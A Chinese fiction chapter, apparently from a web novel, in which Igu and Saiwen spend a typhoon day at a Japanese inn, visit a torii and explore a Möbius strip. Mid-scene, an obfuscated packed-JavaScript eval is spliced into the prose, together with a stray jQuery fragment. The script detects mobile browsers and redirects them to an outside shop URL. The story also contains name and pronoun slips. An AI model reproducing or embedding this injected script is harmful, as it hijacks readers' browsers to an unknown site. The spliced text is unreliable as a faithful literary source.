1987年8月26号星期六大雨
凤源哥说生命的缩写是SM，所以他所有的痛苦都说的通了，我问凤源SM什么东西，然后诸星团哥把凤源哥打的更惨了。
——
第二天早上，伊咕是被雨声叫醒的。
不是那种急促的、噼里啪啦的暴雨，是另一种——细密而绵长，像有人在屋顶上筛着一把又一把的沙子。雨声均匀而低缓，落在瓦片上，落在竹叶上，落在院子的石阶上，各自奏出不同的音调，混在一起变成一种湿润的、安心的白噪音。
伊咕翻了个身，发现赛文已经醒了，正侧身靠在窗框边，看着窗外。手里捧着一杯热茶，白气在雨中显得格外清晰。他听见伊咕醒来的动静，也没回头，只说了一句：“今天出不去了。”
伊咕坐起来，裹着被子蹭到窗边。窗外是一个完全不同的世界。昨天傍晚还清晰可见的山谷和竹林，此刻全被雨雾笼罩，像一幅被水洇湿的水墨画。远处的富士山完全消失了，只剩下一片灰白色的虚空，偶尔有风把雨雾吹散一角，露出山影模糊的轮廓，又很快合拢回去。
院子里的小溪水位涨了一些，水声比昨晚更响，哗哗的，像在雨中说着更快的话。石灯笼的灯已经灭了，但雨水顺着石头表面流下来的样子，比亮着灯的时候更好看。
“下雨了？”
赛文喝了一口茶，说：“是台风”
他们下楼吃早饭，和式早餐，有烤鱼、味噌汤、纳豆和米饭。伊咕又拌了很多下纳豆，夹起一颗尝尝味，然后递给赛文，雨没有停的意思，反而越下越稳，像一根根细细的银线垂直地缝着天地。
吃完早饭，赛文向旅馆借了两把伞，一把大的黑伞，一把小的透明伞。
“出去走走。”赛文说，把透明伞递给伊咕。
他们走出旅馆大门。雨落在透明伞的伞面上，发出“噗噗”的轻响，透过伞面能看到雨滴在头顶炸开成细碎的水花。伊咕把伞举高，看着头顶那些透明的雨点在透明的伞面上绽开又滑落，觉得挺有意思的。
赛文撑着黑伞走在她旁边。两个人的脚步踩在被雨水浸透的石板路上，发出“啪嗒啪嗒”的水声。山路两旁是茂密的竹林，竹叶被雨水压得低垂，偶尔有一大滴水珠从叶尖坠落，打在伞面上发出“咚”的一声，比其他的雨声更响。
“看。”赛文说。
伊咕顺着他的目光看过去。路边石缝里长着一株小小的紫阳花，蓝色的，花球被雨水洗得格外鲜亮。花瓣上凝着细密的水珠，每一颗都映着一个小小的天空。她蹲下来看了很久。雨滴打在紫阳花上，花球轻轻颤动，水珠滚落下来，落在青苔上。
“它不怕雨吗？”伊咕问。
“它喜欢雨。”博闻广识的赛文说，“没雨的时候它反而蔫。”
伊咕站起来继续走。走到一处坡道转弯的地方，视野忽然开阔了一些。雨雾中，能看见下方的山谷里有一条小河，河面被雨点打出无数细小的涟漪，像一小片一小片绽开的银子。河边有一座小小的红色鸟居，在雨雾中显得格外鲜艳。
“能走过去吗？”赛文问。
“可以。”
他们沿着湿滑的石阶走下去。伊咕的拖鞋踩在石阶上有点滑，她走得很小心。赛文走在她身后，没有催她，也没有伸手扶。但他和伊咕保持一致的步速。
走到鸟居前的时候，雨忽然小了一些。从密集的银线变成了若有若无的雾丝，落在脸上凉丝丝的。鸟居是木制的，红漆在雨水里显得湿润而深沉，像刚刚被刷过一层亮光油。穿过鸟居，有一条窄窄的参道，通向一座很小的神社。神社的木门关着，门口挂着注连绳，雨水顺着绳结一滴一滴地往下落。
伊咕站在鸟居底下，仰头看雨从红色的横梁边缘坠落。那些水珠拉成细长的线，在风中微微摇晃，像一串透明的珠帘。她想伸手去接，但隔着伞面，接不到。她把伞放低，让雨水落在手掌里。冰凉，清透，带着山间植物和泥土的气息。
她低头看掌心接住的雨水，很小的一捧，能看见自己的掌纹在水光里变得格外清晰。
赛文站在她身后半步的地方，没有说话。雨声包围着他们，像一层温暖的壳。透过雨丝，远处的山影隐隐约约，近处的树叶沙沙作响，空气中弥漫着湿润的草木香气。
“第一次见到你，”赛文开口，声音在雨声中显得比平时低，“那天也下雨，小小的一个奥，全身都湿透了，我看到你的时候，你还在笑。”
伊咕转头看他。赛文的目光落在远处的雨雾中，没有看伊咕，但嘴角的弧度是微微上扬的。
“不记得了。”伊咕说。
“你不记得。但我记得。”
雨又开始密起来了。他们原路往回走，回到旅馆的时候，两个人的肩膀都湿了一点——伞遮不住所有的雨丝。老板娘在玄关递给他们两条热毛巾，笑眯眯地说“快擦擦，别感冒了”。
回到房间，伊咕换下湿了的浴衣，裹着干毛巾坐在窗边。窗玻璃上全是水珠，把外面的世界模糊成一片绿色和灰色的混合体。她伸出手，在玻璃上画了一个圈，圈里透出一小片清晰的竹叶，叶尖正滴着水。
赛文在她旁边坐下，也看着窗外。过了一会儿，他从浴衣口袋里掏出一个东西，放在矮桌上。
是一颗糖。没有包装纸，是那种从大块糖上敲下来的、不规则的碎块，淡黄色的，透明的，像一小块凝固的阳光。
“旅馆柜台放着的，”赛文说，“不知道什么味道的，你尝尝。”
伊咕拿起来放进嘴里。甜味在舌尖慢慢化开，带着一点焦香。不是那种工业制造的统一甜度，是粗粝的、温暖的、会在舌头上留下细微颗粒感的甜。她含了一会儿，糖块在嘴里越来越小，甜味也越来越散，最后化成一缕淡淡的味道咽了下去。
窗外，雨还在下。但比起清晨时，似乎稍微亮了一些。远处的山影在雨雾中露出一小截青灰色的轮廓，然后又被雨雾遮住了。
“雨什么时候停？”伊咕问。
赛文看了一眼窗外：“不知道。”
伊咕很意外，她还以为赛文会告诉她一点关于气象的知识。
赛文伸手把窗玻璃上那个被伊咕画出来的圆圈又抹了抹，让那片竹叶更清楚地透出来。
伊咕看着那片竹叶，看着雨水顺着叶脉滑落，在叶尖凝成一滴，悬在那里，晃了晃，然后坠落。
赛文随便从书架上拿了一本书。
书的扉页上画着一个扭曲的环形，像一条纸带被扭转了半圈再首尾相接。旁边写着：“莫比乌斯环——只有一个面，一条边界。”
她盯着那张图看了很久。只有一个面？他拿起一张纸条，试着按照书上的说明操作：把纸带扭转一百八十度，然后两端粘在一起。他拿起胶水，手有点抖——粘歪了。但她把它放在桌上，用指尖沿着纸带表面慢慢滑动。指尖在纸带上游走，经过了外侧、扭转处，然后……回到了起点。它确实只经过了一个面，没有翻越任何边界。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17801662|210581||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
只有一个面。”她把纸环放在桌上，觉得这不太可能，但指尖告诉她是真的。她试着在纸带上画一条线，沿着它的中线前进。笔尖在纸面上留下一条连续的痕迹——她在起点处画了一个小圆点，然后开始画线。线绕了一圈，回到起点处的小圆点旁边，正好接上。伊咕画出了一条闭合的、没有中断的线，而且这条线穿过了纸带的每一处表面。
小奥盯着那条线看了很久。这条纸带没有内侧和外侧之分。她结结巴巴的读着书：如果你是一只蚂蚁，沿着这个环爬行，你永远不需要翻越边缘，就会走遍整个表面。一整个宇宙，只有一个面。
“赛文！”她把莫比乌斯环举到赛文前面，“这个东西只有一个面！你看！”
赛文又低头看了看纸环，忽然问了伊咕一个问题：既然它只有一个面，那如果在这上面画两只蚂蚁，一只从起点往左走，一只从起点往右走，它们会遇到吗？
伊咕试着用两支笔同时从纸环的两个方向画线，左手的笔和右手的笔相向而行。两笔画在中途相遇了——在纸环的某个位置，两根线条汇合在一起，像两条河流合并成了同一条。他松开笔，看着那根纸环在桌上安静地躺着。
小奥忽然觉得，如果这个世界也是一条莫比乌斯环，那么所有的路都会在某处汇合。离家的人和归家的人，站在同一个面上的不同位置，其实终点是一样的。只是要走上更长的路才知道。
“不论你走多远，走到哪里，我都会找你，和你见面，带你回家。”伊咕坚定地对赛文说。
赛文没有立刻说话，只是把纸环在手里转了两圈，指尖沿着表面轻轻滑过——和优太刚才的动作一模一样。然后他“嗯”了一声。
“粘得有点歪。”赛文把纸环还给她，“但是对的。”
伊咕把纸环放回书桌上，又在它旁边放了一张新的纸条。她试着再做一条，这一次她扭转时更小心，两端对齐得更整齐。她把它放在桌上，并排看着两条莫比乌斯环，一条有些歪斜，一条整齐端正。但她觉得歪的那条更好看。伊咕把两条环都放在书桌的台灯底下，让灯光照出它们弯曲的轮廓和纸面上细细的纹理。
晚上的时候，伊咕的床褥上多了一个东西。是一个白色的小纸盒，打开盖子，里面躺着一条细细的、银色的金属丝环——和莫比乌斯环一样的形状，扭转了半圈，首尾相接。是赛文送的，不知道是用什么材料做成的项链，摸上去冰凉而圆润。纸盒底垫着一小片灰色绒布。
伊咕把银色的莫比乌斯环项链拿出来，它比纸做的重得多，冰凉的重金属贴着指尖，沉甸甸的，很有存在感。她对着光看，金属表面反射出台灯的光，在扭转处形成一道流畅的弧线，像一条首尾相接的河。
她拿着项链去找赛文，赛文帮伊咕项链后面的卡扣嵌进凹槽，项链发着温柔的银光。
闭上眼睛，伊咕感觉到世界的边缘在看不到的地方连成了一条首尾相衔的弧线。她想象自己正站在莫比乌斯环的表面，沿着那条没有边界的路一直走。没有尽头，没有开始，只有连续不断的每一步。而路的另一端，有人也在走着——方向相反，脚步不同，但终有一天会相遇，在环的某个地方，面对面站定。
来自山岗的晚风从窗口吹进来，把那两条纸环吹得微微动了动，银色的弧线稳稳当当地躺在小奥的胸前，像一只蜷起身体的、安静的小动物，窗户外的光里闪着细碎的亮光。伊咕没有睁眼她他想，等自己走完半圈，赛文大概也走完了另外半圈。他们会在某处碰面。